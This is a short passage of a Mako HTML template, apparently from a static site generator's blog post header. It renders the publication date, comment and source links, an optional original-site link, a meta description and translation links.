39 <p class="dateline"><a href="${post.permalink()}" rel="bookmark"><time class="published dt-published" datetime="${post.date.isoformat()}" itemprop="datePublished" title="${post.formatted_date(date_format)}">${post.formatted_date(date_format)}</time></a></p>
40 % if not post.meta('nocomments') and site_has_comments:
41 <p class="commentline">${comments.comment_link(post.permalink(), post._base_path)}
42 % endif
43 ${html_sourcelink()}
44 % if post.meta('link'):
45 <p><a href='${post.meta('link')}'>${messages("Original site")}</a></p>
46 % endif
47 %if post.description():
48 <meta name="description" itemprop="description" content="${post.description()}">
49 %endif
50 </div>
51 ${html_translations(post)}
52 </header>
53</%def>